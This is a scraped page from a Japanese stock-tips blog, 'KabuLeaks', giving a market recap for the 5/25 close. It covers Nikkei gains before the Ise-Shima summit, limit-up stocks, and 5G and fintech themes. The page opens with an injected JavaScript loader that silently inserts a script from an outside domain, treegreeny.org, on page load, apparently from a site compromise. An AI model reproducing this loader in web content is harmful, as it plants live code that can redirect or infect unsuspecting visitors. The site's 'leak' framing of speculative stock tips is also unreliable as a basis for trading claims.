;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/25 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/25 大引け】

本日の日経平均株価は258円高と大幅反発。前日の米株高や110円台の円安好感され一時300円超高。買い一巡後は明日から開催される伊勢志摩サミットを前に手控えムード。後場も様子見ムードも小幅なレンジで推移で高値圏は維持した。業種別では、保険業、鉄鋼、情報・通信業が値上がり上位に。値下がりはその他金融業、医薬品の2業種のみとなった。

個別では、エムスリーと資本業務提携」と報じられた【6090】ヒューマン・メタボローム・テクノロジーズやBeacon端末の運営・管理支援プラットフォームを開発したことを材料に【3625】テックファームがストップ高。また、信用規制解除の【6187】LITALICO、収益力強化に向けた取り組み推進と一部報道があった【6254】などが一時ストップ高まで買われたほか、【3674】オークファンが後場一段高で年初来高値更新の大幅高。

一方で前場大幅高で連日の年初来高値更新となっていたバイオ関連株。【4589】アキュセラインクが急速に上げ幅縮小、マイナス転換となりその後ストップ安まで売られた。短期的な過熱感などが意識されたと思われる。

テーマ株ではNTTドコモなど8K映像伝送に成功と伝わり5G関連の【3842】ネクストジェン、【3852】サイバーコム、【6778】アルチザネットなどへ物色の矛先が向かったほか、ビットコインなど仮想通貨を規制する法改正案が成立から久々にフィンテック関連が前場引けにかけ急伸。関連銘柄→https://kabuleaks.com/archives/5837 ただ、フィンテック関連買いは続かず。急騰からの逃げ足も早い資金が入っており後場に失速する銘柄が多かった。

サミットの結果、消費増税の可否や財政出動など国内の政策動向に加え、6月にはOPEC総会や日米中銀会合などイベント続きということもあり中長期の買いはやや手控えムード。雰囲気的には値幅取り中心の売買が中心となっており、これ流れは明日も続く可能性が高そうだ。